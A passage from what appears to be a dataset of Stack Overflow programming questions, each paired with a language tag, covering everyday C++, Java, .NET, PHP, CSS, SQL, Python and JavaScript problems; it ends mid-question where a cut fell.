private inheritance and derived object to base reference  as far as i understand the reason that we cannot pass a derived class object to a base class reference for private inheritance is that since derived is privately inherited from base  the default constructor of base would be called before the constructor of derived. but because it is private and not inherited to derived  we get a compiler error.    but  if i try to create a public constructor for base and inherit from derived privately and then re-assign the public status to base s constructor will it allow me to pass a derived s instance to base reference     i tried it as follows    <pre><code>#include &lt;iostream&gt;  using namespace std;  class base {       public:              base(){}              void print(){ puts( in base ); } };  class derived : private base {       public:              base::base;   /* throws an error - declaration doesnt declare anything*/              void print(){ puts( in derived ); } };  void func(base&amp; bref) { }  int main() {     derived dobj;     func(dobj); /*  throws an error -  base  is an inaccessible base of derived */ } </code></pre>   it throws an error for base::base (publicizing privately inherited constructor to public). is what i am trying valid  can anyone please tell me,c++
how to set the name of an instance of something to the value of an integer   i already tried this:   <pre><code>public static void accounttypesavings() {     boolean b = true;     while (b) {         string startbalancestring = joptionpane.showinputdialog(null   enter the starting balance in dollars without the dollar sign. );         try {             double startbalance = double.parsedouble(startbalancestring);             int accountid = 1;             savingsaccount accountid = new savingsaccount(holder  startbalance);             accountid += 1;             b = false;         }         catch (final exception ignored) {             joptionpane.showmessagedialog(null   only enter numbers  please. );         }     } } </code></pre>   creating an integer and setting the name of the savings account to the integer. but that s giving me the error  duplicate local variable accountid .    when using my application  i want to get this:   <pre><code>savingsaccount sa1 = new savingsaccount(holder  startbalance); savingsaccount sa2 = new savingsaccount(holder  startbalance); savingsaccount sa3 = new savingsaccount(holder  startbalance); </code></pre>   the parameters are variables whose are already initialized!    i want to set the name of the new savingsaccount to the accountid s value. so if i create a new instance of a savingsaccount  i want my application to set it s name to sa1. and if i create another one after that  name it sa2  sa3  sa4  etc.    ps: holder is a string  it contains the name of someone! it s not an integer!    i hope you understand what i mean!,java
system.io.path.getpathroot workaround for unc paths  getpathroot doesn t seem to support unc paths.  the result from the code below is simply trimming off file.txt   <pre><code>string root = path.getpathroot( \\servername.pvt\sub dir\file.txt ); </code></pre>   what is a good workaround,.net
how to make a uibutton with touch down action and touch up inside action  i need to make one button with two actions  touch down used to play a sound and then touch up inside to stop playing the sound when you let go of the button,objective-c
class-function that returns a struct which is a private member of that class <pre><code>class tree {     struct node {         int data;         node *left *right;         node(int v  node *n = null):data(v) left(n) right(n) {}     };     node *root;      int size; public :     tree();     ~tree();     struct node* getroot(); </code></pre>   thats my .h file.when i write the following on the source file :   <pre><code>struct node* tree::getroot() {       return root; } </code></pre>   i get the following warnings from eclipse :     -member declaration not found    any ideas i feel like a tried everything.,c++
weird $_post php issue  congrats to me. i ve officially make the switch from asp.net to php.    now  i m stuck. :-)    i have some code that i found on some code snippets site and have a question about the following piece.   <pre><code>if (isset($_post[ doregcheck ]))     : if (intval($_post[ doregcheck ]) == 0 || empty($_post[ doregcheck ]))     : redirect_to( index.php do=users );  endif;  endif; </code></pre>   can anyone tell me exactly what is going here  does this code check the value of the doregcheck post variable to make sure it s not empty     thanks in advance.,php
asp.net looking for a way to pad a string with 0 or blanks  hey im looking for a way to do the following to populate a text file    if i need to fill a alphanumeric column with field size 20 and i only have 18 characters to append two blank values.    then same for numeric values if field size is 10 for example and i have a value of 5 characters to fill in remaining spaces with 5 0 s    i.e instead of 10000 i would have 0000010000,asp.net
create trigger in mysql error while adding new row  i have two tables model_detail with columns   <pre><code>`id``model_id``productname``color``available_quantity` </code></pre>   and model_stock with columns   <pre><code>`id``model_detail_id``entry_date``amount` </code></pre>   model_detail_id is the foreign key pointing to model_detail(<strong><code>id</code></strong>) table i want to update the <strong><code>available_quantity</code></strong> of model_detail table whenever new  <strong><code>model_stock</code></strong> is added and i have tried something like this   <pre><code>create trigger update_model_stock after insert on model_stock for each row  begin update model_detail set available_quantity= available_quantity + new.amount where model_detail.id = new.model_stock.model_detail_id; end </code></pre>   but when i add a row to the <strong><code>model_stock</code></strong> table i get the error something like this   <pre><code>sql query: insert into `model_stock` (`id`  `model_detail_id`  `entry_date`  `amount`)  values (null   2    2017-07-11    20 ) </code></pre>   the error message i received:   <blockquote>    mysql said: documentation       #1054 - unknown column  new.model_stock.model_detail_id  in  where clause   </blockquote>,mysql
best approach for containing content   here s my scenario.    <ol> <li>i have a wow slider with images fixed at 1360px.</li> <li>i have a table with width set at 100%</li> </ol>   my problem surfaces at resolutions above 1360px because my table contents grow wider than the image slider and it looks awful. i want the table contents to fill the width of the screen at lower resolutions but not resize above 1360px.     is there a way to achieve this with css  i don t know what else to try.,css
c# hashset with struct and string  i created to following code to verify the uniqueness of a series of  tuples :   <pre><code>struct mytuple {    public mytuple(string a  string b  string c)    {       vala = a; valb = b; valc = c;    }    private string vala;    private string valb;    private string valc; }  ...  hashset&lt;mytuple&gt; tuplelist = new hashset&lt;mytuple&gt;(); </code></pre>   if i m correct  i will not end up with two tuples with the same values in my <code>hashset</code> thanks to the fact that i m using a struct. i could not have the same behavior with a class without implementing <code>iequatable</code> or something like that (i didn t dig too much how to do that).     i want to know if there is some gotcha about what i do. performance wise  i wouldn t expect the use of a struct to be a problem considering that the string inside are reference types.    edit: i want my hashset to never contains two tuples having string with the same values. in other words  i want the string to behave like values types.,c#
i want to expand width of div by child divs with fixed height  html   <pre><code>&lt;div class= container &gt;     &lt;table&gt;         &lt;tbody&gt;             &lt;tr&gt;                 &lt;td&gt;                     &lt;div&gt;                         &lt;div&gt;hello&lt;/div&gt;                         &lt;div&gt;world of&lt;/div&gt;                         &lt;div&gt;css&lt;/div&gt;                     &lt;/div&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;                     &lt;div&gt;                         &lt;div&gt;hello&lt;/div&gt;                         &lt;div&gt;world of&lt;/div&gt;                         &lt;div&gt;css&lt;/div&gt;                     &lt;/div&gt;                 &lt;/td&gt;             &lt;/tr&gt;         &lt;/tbody&gt;     &lt;/table&gt; &lt;/div&gt; </code></pre>   css   <pre><code>.container {     overflow-x:auto;     width:100px;     background-color:#d5d5d5;     height:300px;  }  td &gt; div {     height:20px; /*fixed height*/     background-color:white; } td &gt; div &gt; div {     display:inline-block; /*set width by contents*/         border:1px solid black;     float:left; } </code></pre>   <a href= http://jsfiddle.net/2s2y5/1/  rel= nofollow >http://jsfiddle.net/2s2y5/1/</a>    i want to make divs in td in a row and make x-scroll in container div.  the size of divs in td must be decided by its contents. is it possible   if i have to replace table to divs  that doesn t matter. thanks for reading!,css
idictionary help filtering items  is there a better way to code the <strong>where</strong> this:   <pre><code>    idictionary&lt;string  string&gt; p = new dictionary&lt;string  string&gt;();     p.add( apple    1 );     p.add( orange    2 );     p.add( pear    3 );     p.add( grape    4 );     p.add( pineapple    5 );     //this is a unique list      var retval = p.where(k =&gt; k.key.contains( apple ) || k.key.contains( pear ) || k.key.contains( grape )); </code></pre>   <strong>some history below</strong>    i have a dictionary of strings like the following:   <pre><code>idictionary&lt;string string&gt; </code></pre>   the contents look like this:   <pre><code>apple 1 orange 2 pear 3 grape 4 ...many more </code></pre>   how do i return only a few items from my dictionary like so   <pre><code>if (true) {   //return only 3 apple pear&amp;grape items out of the dozens in the list into a new variable } </code></pre>,c#
multiple hyperlink styling in one css  i m trying to accomplish having different hyperlink styling per div.  i have an overall hyperlink style and then a div that i want all hyperlinks in that div a completely different style.  i m just not sure how to code the css.  any help would be awesome.   <pre><code>a {color:#d85d5d; font-weight:bold; text-decoration:none;} a:hover {color:#222; text-decoration:underline;}  .singlelink {     #a     #a:{         text-decoration: underline;     }      #a:link {         color: #0000ff;     }      #a:visited {         color: #660099;     }      #a:active {         color #ff0000;     }      #a:hover {         font-weight: bold;     }  } </code></pre>   so basically everything in my page has the first a and then anything in the .singlelink div has a different hyperlink styling.    thanks!,css
how to make activator.createinstance run about 20 times slower with a completely empty type  given:   <ul> <li>.net assembly named <code>expression_host</code></li> <li>.net assembly named <code>createinstancetest</code></li> <li>createinstancetest enables netfx40_legacysecuritypolicy in its config file</li> <li>expression_host is attributed with <code>securitypermission(securityaction.requestoptional)</code></li> <li>createinstancetest loads the expression_host assembly - <strong>bang!!!</strong> - <code>activator.createinstance</code> is toast</li> </ul>   please  observe the output:   <pre><code>new() = 13  activator.createinstance() = 111 just loaded expression_host  version=0.0.0.0  culture=neutral  publickeytoken=null new() = 6  activator.createinstance() = 1944 </code></pre>   explanation:   <ol> <li>the program does 500 000 times <code>new testclass()</code> and 500 000 times <code>activator.createinstance(typeof(testclass))</code></li> <li>then it loads the expression_host assembly</li> <li>then it repeats the step 1.</li> <li>the numbers are milliseconds.</li> </ol>   both assemblies are really small. here is the code:    <strong>createinstancetest</strong>    <strong>createinstancetest.csproj</strong>:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;project toolsversion= 12.0  defaulttargets= build  xmlns= http://schemas.microsoft.com/developer/msbuild/2003 &gt;   &lt;import project= $(msbuildextensionspath)\$(msbuildtoolsversion)\microsoft.common.props  condition= exists( $(msbuildextensionspath)\$(msbuildtoolsversion)\microsoft.common.props )  /&gt;   &lt;propertygroup&gt;     &lt;configuration condition=   $(configuration)  ==     &gt;debug&lt;/configuration&gt;     &lt;platform condition=   $(platform)  ==     &gt;anycpu&lt;/platform&gt;     &lt;projectguid&gt;{83690315-c8ac-4c52-9cdd-334115f521c0}&lt;/projectguid&gt;     &lt;outputtype&gt;exe&lt;/outputtype&gt;     &lt;rootnamespace&gt;createinstancetest&lt;/rootnamespace&gt;     &lt;assemblyname&gt;createinstancetest&lt;/assemblyname&gt;     &lt;targetframeworkversion&gt;v4.5&lt;/targetframeworkversion&gt;     &lt;platformtarget&gt;anycpu&lt;/platformtarget&gt;     &lt;debugsymbols&gt;true&lt;/debugsymbols&gt;     &lt;debugtype&gt;full&lt;/debugtype&gt;     &lt;outputpath&gt;bin\$(configuration)\&lt;/outputpath&gt;     &lt;errorreport&gt;prompt&lt;/errorreport&gt;     &lt;warninglevel&gt;4&lt;/warninglevel&gt;     &lt;prefer32bit&gt;false&lt;/prefer32bit&gt;     &lt;usevshostingprocess&gt;false&lt;/usevshostingprocess&gt;   &lt;/propertygroup&gt;   &lt;propertygroup condition=   $(configuration)|$(platform)  ==  debug|anycpu   &gt;     &lt;optimize&gt;false&lt;/optimize&gt;     &lt;defineconstants&gt;debug;trace&lt;/defineconstants&gt;   &lt;/propertygroup&gt;   &lt;propertygroup condition=   $(configuration)|$(platform)  ==  release|anycpu   &gt;     &lt;optimize&gt;true&lt;/optimize&gt;     &lt;defineconstants&gt;trace&lt;/defineconstants&gt;   &lt;/propertygroup&gt;   &lt;itemgroup&gt;     &lt;reference include= system  /&gt;   &lt;/itemgroup&gt;   &lt;itemgroup&gt;     &lt;compile include= program.cs  /&gt;   &lt;/itemgroup&gt;   &lt;itemgroup&gt;     &lt;none include= app.config &gt;       &lt;subtype&gt;designer&lt;/subtype&gt;     &lt;/none&gt;   &lt;/itemgroup&gt;   &lt;itemgroup&gt;     &lt;projectreference include= ..\..\users\mkharitonov\documents\visual studio 2012\projects\createinstancetest\expression_host\expression_host.csproj &gt;       &lt;project&gt;{01f4b604-d5a3-454f-aff7-e1f5c43d293e}&lt;/project&gt;       &lt;name&gt;expression_host&lt;/name&gt;     &lt;/projectreference&gt;   &lt;/itemgroup&gt;   &lt;import project= $(msbuildtoolspath)\microsoft.csharp.targets  /&gt; &lt;/project&gt; </code></pre>   <strong>program.cs</strong>:   <pre><code>using system; using system.diagnostics;  namespace createinstancetest {     internal class testclass     {     }      internal class program     {         public static void main()         {             const int count = 500000;             long newtime;             long createinstancetime;              dooneround(count  out newtime  out createinstancetime);             console.writeline( new() = {0}  activator.createinstance() = {1}   newtime  createinstancetime);              screwthingsup();              dooneround(count  out newtime  out createinstancetime);             console.writeline( new() = {0}  activator.createinstance() = {1}   newtime  createinstancetime);              console.writeline( press any key to terminate ... );             console.readkey();         }          public static void dooneround(int count  out long newtime  out long createinstancetime)         {             var sw = new stopwatch();              sw.start();             for (int index = 0; index &lt; count; ++index)             { // resharper disable objectcreationasstatement                 new testclass(); // resharper restore objectcreationasstatement             }             sw.stop();             newtime = sw.elapsedmilliseconds;              var type = typeof(testclass);             sw.restart();             for (int index = 0; index &lt; count; ++index)             {                 activator.createinstance(type);             }             sw.stop();             createinstancetime = sw.elapsedmilliseconds;         }          private static void screwthingsup()         {             console.writeline( just loaded {0}   typeof(reportexprhostimpl).assembly.fullname);        }     } } </code></pre>   <strong>app.config</strong>:   <pre><code>&lt; xml version= 1.0  encoding= utf-8   &gt; &lt;configuration&gt;   &lt;runtime&gt;     &lt;netfx40_legacysecuritypolicy enabled= true /&gt;   &lt;/runtime&gt; &lt;/configuration&gt; </code></pre>   <strong>expression_host</strong>    <strong>expression_host.csproj</strong>:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;project toolsversion= 4.0  xmlns= http://schemas.microsoft.com/developer/msbuild/2003  defaulttargets= build &gt;   &lt;propertygroup&gt;     &lt;schemaversion&gt;2.0&lt;/schemaversion&gt;     &lt;projectguid&gt;{01f4b604-d5a3-454f-aff7-e1f5c43d293e}&lt;/projectguid&gt;     &lt;configuration condition=   $(configuration)  ==     &gt;debug&lt;/configuration&gt;     &lt;assemblyname&gt;expression_host&lt;/assemblyname&gt;     &lt;outputtype&gt;library&lt;/outputtype&gt;     &lt;targetframeworkversion&gt;v4.5&lt;/targetframeworkversion&gt;     &lt;debugsymbols&gt;true&lt;/debugsymbols&gt;     &lt;outputpath&gt;bin\$(configuration)\&lt;/outputpath&gt;     &lt;debugtype&gt;full&lt;/debugtype&gt;     &lt;platformtarget&gt;anycpu&lt;/platformtarget&gt;     &lt;errorreport&gt;prompt&lt;/errorreport&gt;     &lt;prefer32bit&gt;false&lt;/prefer32bit&gt;   &lt;/propertygroup&gt;   &lt;propertygroup condition=  $(configuration)|$(platform)  ==  debug|anycpu  &gt;     &lt;defineconstants&gt;debug;trace&lt;/defineconstants&gt;   &lt;/propertygroup&gt;   &lt;propertygroup condition=  $(configuration)|$(platform)  ==  release|anycpu  &gt;     &lt;defineconstants&gt;trace&lt;/defineconstants&gt;     &lt;optimize&gt;true&lt;/optimize&gt;   &lt;/propertygroup&gt;   &lt;import project= $(msbuildbinpath)\microsoft.csharp.targets  /&gt;   &lt;itemgroup&gt;     &lt;compile include= reportexprhostimpl.cs  /&gt;   &lt;/itemgroup&gt; &lt;/project&gt; </code></pre>   <strong>reportexprhostimpl.cs</strong>:   <pre><code>using system.security.permissions;  [assembly: securitypermission(securityaction.requestoptional)] public class reportexprhostimpl { } </code></pre>   that s it.    now what is the question  the question is how to deal with it. this is actually the most minimal reproduction of a real life case and is related to <a href= https://stackoverflow.com/questions/21146405/a-case-of-abysmal-degradation-of-activator-createinstance-performance >a case of abysmal degradation of activator.createinstance performance</a>    in the real application we have to run reports and we are stuck with <code>netfx40_legacysecuritypolicy</code>  which makes certain parts of our application perform terrible.    finally  in the real application we cannot change the code of the expression host assemblies  because these are built dynamically by the microsoft reporting framework.    so what can we do     <strong>edit</strong>    adding <code>[assembly: securitytransparent]</code> to the createinstancetest assembly seems to improve things:   <pre><code>new() = 6  activator.createinstance() = 106 just loaded expression_host  version=0.0.0.0  culture=neutral  publickeytoken=null new() = 14  activator.createinstance() = 904 </code></pre>   now <code>activator.createinstance</code> is only about 9 times slower  rather than 20. but still  9 times slower!    <strong>edit 2</strong>    this seems to be an internal .net thing. managed profiler (ants) was not very useful.    other affected methods:   <ul> <li><code>methodinfo.invoke</code> (same behavior as <code>activator.createinstance</code>)</li> <li>invoking a compiled lambda expression</li> <li>calling <code>new</code> operator on a generic argument type - becase <code>new t()</code> is compiled to <code>activator.createinstance&lt;t&gt;()</code> - bummer.</li> <li>dynamic method emitted with reflection.emit with <code>null</code> owner - see the <code>dynamicmethod</code> overload accepting the <code>owner</code> parameter.</li> </ul>   we failed to solve this issue  but in our case replacing <code>activator.createinstance</code> with a dynamically emitted constructor (with the owner type) solved our problem. it is a workaround  since the problem remains for other methods.    <strong>edit 1</strong>    btw  we contacted microsoft support on this issue  which turned out to be a complete waste of time. the best we could get from them is that this is how it is.,.net
angularjs currency format ₺ (turkish lira)   how to change angularjs currency format  i need to change like this <code>2.543.128 76</code> . default angularjs format <code>$254 312 876.00</code>.,angularjs
saving a view as a photo in iphone app  is there an easy way to programmatically save a view to the photos library in an iphone app,iphone
inconsistent printing sequence for flask application  the program is printing errors inconsistently each time a request is made to this url. the last 2 lines of this error trace print some debug info. the print lines include text schema and json. its all over the place it is not ideal for my way of debugging  how can i ensure a consistent print sequence    <pre><code>[2018-05-12 22:59:09 766] error in app: exception on /test [get] traceback (most recent call last):   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 2292  in wsgi_app     response = self.full_dispatch_request()   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 1815  in full_dispatch_request     rv = self.handle_user_exception(e)   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 1718  in handle_user_exception     reraise(exc_type  exc_value  tb)   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 1813  in full_dispatch_request     rv = self.dispatch_request()   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 1799  in dispatch_request     return self.view_functions[rule.endpoint](**req.view_args)   file  /users/matt/pycharmprojects/webservice/app.py   line 13  in test     validation.validate( { asdf : testing title } )   file  /users/matt/pycharmprojects/webservice/model/series/seriesvalidator.py   line 21  in validate     modelvalidator.validate(self  json)   file  /users/matt/pycharmprojects/webservice/validate.py   line 16  in validate     errors = [e for e in validator.iter_errors(json)] attributeerror:  nonetype  object has no attribute  iter_errors  json:  { asdf : testing title } schema:  { $schema :  http://json-schema.org/schema#    required : [ title ]   type :  object    properties : { description : { type :  string }   title : { type :  string }}} 127.0.0.1 - - [12/may/2018 22:59:09]  get /test http/1.1  500 - j </code></pre>   then i made 2 more requests and it is inconsistent:   <pre><code>json:  { asdf : testing title } schema:  { $schema :  http://json-schema.org/schema#    required : [ title ]   type :  object    properties : { description : { type :  string }   title : { type :  string }}} [2018-05-12 22:59:18 102] error in app: exception on /test [get] traceback (most recent call last):   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 2292  in wsgi_app     response = self.full_dispatch_request()   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 1815  in full_dispatch_request     rv = self.handle_user_exception(e)   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 1718  in handle_user_exception     reraise(exc_type  exc_value  tb)   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 1813  in full_dispatch_request     rv = self.dispatch_request()   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 1799  in dispatch_request     return self.view_functions[rule.endpoint](**req.view_args)   file  /users/matt/pycharmprojects/webservice/app.py   line 13  in test     validation.validate( { asdf : testing title } )   file  /users/matt/pycharmprojects/webservice/model/series/seriesvalidator.py   line 21  in validate     modelvalidator.validate(self  json)   file  /users/matt/pycharmprojects/webservice/validate.py   line 16  in validate     errors = [e for e in validator.iter_errors(json)] attributeerror:  nonetype  object has no attribute  iter_errors  127.0.0.1 - - [12/may/2018 22:59:18]  get /test http/1.1  500 - json:  { asdf : testing title } [2018-05-12 22:59:42 329] error in app: exception on /test [get] traceback (most recent call last):   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 2292  in wsgi_app     response = self.full_dispatch_request()   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 1815  in full_dispatch_request     rv = self.handle_user_exception(e)   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 1718  in handle_user_exception schema:  { $schema :  http://json-schema.org/schema#    required : [ title ]   type :  object    properties : { description : { type :  string }   title : { type :  string }}}     reraise(exc_type  exc_value  tb)   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 1813  in full_dispatch_request     rv = self.dispatch_request()   file  /users/matt/pycharmprojects/webservice/venv/lib/python2.7/site-packages/flask/app.py   line 1799  in dispatch_request     return self.view_functions[rule.endpoint](**req.view_args)   file  /users/matt/pycharmprojects/webservice/app.py   line 13  in test     validation.validate( { asdf : testing title } )   file  /users/matt/pycharmprojects/webservice/model/series/seriesvalidator.py   line 21  in validate     modelvalidator.validate(self  json)   file  /users/matt/pycharmprojects/webservice/validate.py   line 16  in validate     errors = [e for e in validator.iter_errors(json)] attributeerror:  nonetype  object has no attribute  iter_errors  127.0.0.1 - - [12/may/2018 22:59:42]  get /test http/1.1  500 - </code></pre>,python
rails 4: order by association of association   i have 3 models: <code>productscolor</code> which <code>belongs_to :product</code> and <code>translation</code> which <code>belongs_to :product</code> as well.    in other words  product <code>has_many :products_colors</code> and <code>has_many :translations</code>.    the translation model has a field called <code>name</code>. how would i find all <code>productscolor</code> records and order them by the associated product s translations  names    <pre><code>productscolor.includes(:product  :color).order(   ) </code></pre>,ruby-on-rails
where can i get a list of days & months as csv   i am creating a reservation form for a website  they want a drop down for the dates not a calendar  i m going to just use gravity forms.    i need a list of days and months  e.g.   <pre><code>sunday 1st may monday 2nd may tuesday 3rd may </code></pre>   i m in the uk if that makes a difference :)    thanks    ricky,html
compare given string to a result  i m currently programming a bulls and cows program and i m trying to figure out how to compare a given string with the result i have. i m pasting my code here so you ll understand better. on the code: i have a char test that is the given string and i have several results. around 1296 results. what i want it to do is to compare the result to the char test and tell me if it s the same or not.(equal or not). i hope i didn t miss any additional information. please let me know if i did. thanks :)   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  void initialize(int poss[1296][4]);  int main() {     int table[1296][4];     char str[5];     char tmp[5];      int i  j  k;     int bull = 0;     int cow = 0;     char test[7]={ 2 b 0 c };      initialize(table);     printf( enter 4 digits:  );      scanf( %s   str);      for (i=0; i&lt;1296; i++)  // building this table     {         strcpy(tmp  str);   // copying string          for (j=0; j&lt;4; j++)         {             for (k=0; k&lt;4; k++)             {                 if (table[i][j]==tmp[k]- 0  &amp;&amp; j==k)    // gets the string as an integer                 {                     tmp[k] = -1;                     bull++;                     break;                 }                 else if (table[i][j]==tmp[k]- 0  &amp;&amp; j!=k)                 {                     tmp[k] = -1;                     cow++;                     break;                 }             }         }          //printf ( number: %d%d%d%d  input: %s\n  table[i][0]  table[i][1]  table[i][2]      table[i][3]  str);         printf ( %d b %d c\n\n   bull  cow);         bull = 0;         cow = 0;     } }  void initialize(int poss[1296][4]) {     int i=0;     int j  k=0;     int m;      while (i&lt;=5)     {         for (j=0; j&lt;216 ; j++)         {             poss[k][0]=i;             k++;         }         i++;     }      k=0;     i=0;     j=0;      while (k&lt;1296)     {         for (m=0; m&lt;6; m++)         {             for (j=0; j&lt;6; j++)             {                 for (i=0; i&lt;36 ; i++)                 {                     poss[k][1]=j;                     k++;                 }             }         }     }      k=0;     i=0;     j=0;     m=0;      while (k&lt;1296)     {         for (j=0; j&lt;6; j++)         {             for (i=0; i&lt;6; i++)             {                 poss[k][2]=j;                 k++;             }         }      }      k=0;     i=0;     j=0;     m=0;      while (k&lt;1296)     {         for (i=0; i&lt;6; i++)         {             poss[k][3]=i;             k++;         }     } } </code></pre>,c
methods that throw an exception  whilst programming in objective-c i ve occasionally had methods throw an exception that i wasn t expecting.     with the benefit of hindsight i can see why it would throw an exception and  often  addressing the issue leads to better code.    however  it would be handy to know  ahead of time  what methods will throw an exception and under what circumstances.    for example:    <pre><code>nsstring *astring; astring = @ less than 42 characters. ; [astring substringtoindex:42]; </code></pre>   would throw an exception as the string contains less than 42 characters.    also this:   <pre><code>nsstring *astring = @ this is a string. ; nsstring *bstring = nil;  astring = [nsstring stringbyappendingstring:bstring]; </code></pre>   will similarly crash as bstring is nil.    any other examples,objective-c
how to modify edittext s content on-the-fly   i have an <code>edittext</code> which requires certain on-the-fly formatting after each character when user types text into it. however  <code>textwatcher</code> doesn t seem to be suitable for this since whenever the text is changed  it is called recursively:   <blockquote>    it is legitimate to make further changes to s from this callback  but be careful not to get yourself into an infinite loop  because any changes you make will cause this method to be called again recursively.  </blockquote>   the formatter i ve written keeps track of the whole string and applies characters one by one to it  formatting the text on the fly. the api of the formatter is something like this:   <pre><code>// this should be called with the newest character // whenever the user gives input public void append(char c) { ... }  // this should be called to get the correctly formatted string // whenever it should be shown on the ui public string getresult() { ... } </code></pre>   so  the question is: how would i hook my formatter into the <code>edittext</code>,android
qsort with pointer to field segmentation fault  i want to sort my pointer of type <code>(*double)[3]</code> according to <code>0</code> column <code>pnt[i][0]</code>. so for example from    <pre><code>4 3 4 2 1 2 9 4 5 </code></pre>   i want   <pre><code>2 1 2 4 3 4 9 4 5 </code></pre>   i have a call to the quicksort function   <pre><code>qsort (pnt  numofrows  sizeof(double)  forqs); </code></pre>   with forqs as follows   <pre><code>int forqs (const void *x  const void *y) {     const double **k = (const double **)x;      const double **l = (const double **)y;     return (*k)[0] - (*l)[0]; } </code></pre>   i end up with segmentation fault and valgrind says it s because of forqs. i was exploring before a lot how to create it as i don t know <code>qsort</code> much  but i can t see there any mistake. can anyone help     edit: i also used:   <pre><code>pnt = (double (*)[3]) malloc(100 * sizeof(*pnt)); </code></pre>,c
get class and apply another class  i have some html:   <pre><code>&lt;div id= tagcloud &gt; &lt;a class= 5  title= 1 records  href= tags=battleship &gt;battleship&lt;/a&gt; &lt;a class= 4  title= 1 records  href= tags=cabbage &gt;cabbage&lt;/a&gt; etc... </code></pre>   i want to take the class value  and convert it to a word.    so if class = 5 append class five,jquery
angularjs specific routing  ok my fellow friends and associates     i am trying to display only information based off of a url: parameter     i have a service that has save a ton of data so i can use it across my application  but the problem i am having is displaying the data that i want to show based off of my parameter.    so here is my route  i am sending my id based off an  link attribute   <pre><code>/coursematerials/:id  </code></pre>   i have my service which stores all of my json objects  to use accross the app.   <pre><code>angular.module( app ).service( saveservice   function () {     this.textexpress = {};     this.coursematerials = {};     this.courses = {};     this.student = {};     this.receipts = {};     this.weborders = {};      return {         //this saves the textexpress object to reuse         gettextexpress: function () {             return this.textexpress;         }          settextexpress: function (t) {             this.textexpress = t;         }           //this saves the coursematerials object         getcoursematerials: function () {             return this.coursematerials;         }          setcoursematerials: function (cm) {             this.coursematerials = cm;         }           //this saves the courses object         get  courses: function () {             return this.courses;         }          setcourses: function (c) {             this.courses = c;         }           //this saves the student object         getstudent: function () {             return this.student;         }          setstudent: function (s) {             this.student = s;         }           //this saves the receipts object         getreceipts: function () {             return this.receipts;         }          setreceipts: function (r) {             this.receipts = r;         }           //this saves the weborders object         getweborders: function () {             return this.weborders;         }          setweborders: function (wo) {             this.weborders = wo;         }      }  });  </code></pre>   i am a little stumped at how to say to my controller of my new view display only this info from my service    <pre><code>coursematerials/:id </code></pre>   so an object i might have looks like this   <pre><code>coursematerials[0] {  course: cit298  author: ben stein  isbn: xxxxxxxxxxxxxx  } coursematerials[1] {  course: cit298  author: george stein  isbn: xxxxxxxxxxxxxx  }     </code></pre>   on my new page i want to display something based off of the course applicable to what a user has selected based of the params in the link.    that looks like   <pre><code>http://localhost:55436/#!/coursematerials/cit%20298 etc...... </code></pre>,angularjs
absolute positioned div at the top of overflow scroll-y div hiding  i have a absolutely positioned div at the top of a scrolling div. the content of the absolutely positioned div is partially hidden  due to the scroll.    is there away around this  z-index doesn t work with it  and padding-top can t be used.    this image shows the top of the container  the scroll section  and padding that was added to show the content box that s being hidden.    <a href= https://i.stack.imgur.com/09uyb.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/09uyb.png  alt= enter image description here ></a>   <pre><code>.hidden-container{ position: absolute; display: block; top: -111px; left: 182px; z-index: 100; } </code></pre>,css
getting result from sql with min  max and condition  i am trying to learn some (advance or more complex) sql.<br> let s say i have a table of cars  with information of every car.<br> then i have another table with cars being sold  some are new  and some are used.      i want the user to be able to look up a car  a honda civic 2016 for instance  and see the car info.<br> but also want the user to see <em>all</em> honda civic 2016 cars being sold  including the highest and lowest price for that particular year/model  organized by new and used.      what would be the most efficient way to retrieve all the information - the car info and the ones being sold to display on a page!    these are my tables.   <pre><code>create table users(     id bigint(20) not null auto_increment primary key      name varchar(16) not null      last varchar(16) not null      email varchar(128) not null      phone char(10) not null      joined datetime not null default current_timestamp );  create table cars(     id bigint(20) not null auto_increment primary key      make varchar(32) not null      model varchar(32) not null      year int(4) not null      trim varchar(16) not null );  create table market(     id bigint(20) not null auto_increment      user_id bigint(20) not null      car_id bigint(20) not null      condition varchar(5) not null      notes varchar(1024) not null      primary key(id)       constraint cfk foreign key (car_id) references cars(id) on delete cascade on update cascade      constraint ufk foreign key (user_id) references users(id) on delete cascade on update cascade ); </code></pre>   it looks redundant to me and doomed to get slow as the tables get bigger. so i would appreciate if somebody shows me a better way.   <pre><code>/* get car information*/ select * from cars  where make =  honda     and model =  civic     and year =  2017       and trim =  ex ;   /* i also would like to get the min and max price for this particular car*/ /*    how    */  /* get (new) cars being sold and sellers */ select m.*  u.*  from market m  inner join users on m.user_id = u.id  where make =  honda     and model =  civic     and year =  2017     and color =  white     and trim =  ex     and condition =  new ;  /* get (used) cars being sold and sellers */ select m.*  u.*  from market m  inner join users on m.user_id = u.id  where make =  honda     and model =  civic     and year =  2017     and color =  white     and trim =  ex     and condition =  used ; </code></pre>   i ultimately would like to get something like the following using php:   <pre><code>{     car: {         make:  honda           model:  civic           year: 2017          trim:  ex      }      market: {         new: {             min:  overall min               max:  overall max               data: [{                 seller:{                     name:  john                       last:  smith                       phone:  xxx-xxx-xxxx                       email:  email@domain.com                   }                  car: {                     price: 15000                      color:  white                       condition:  used                       notes:  some notes about the car     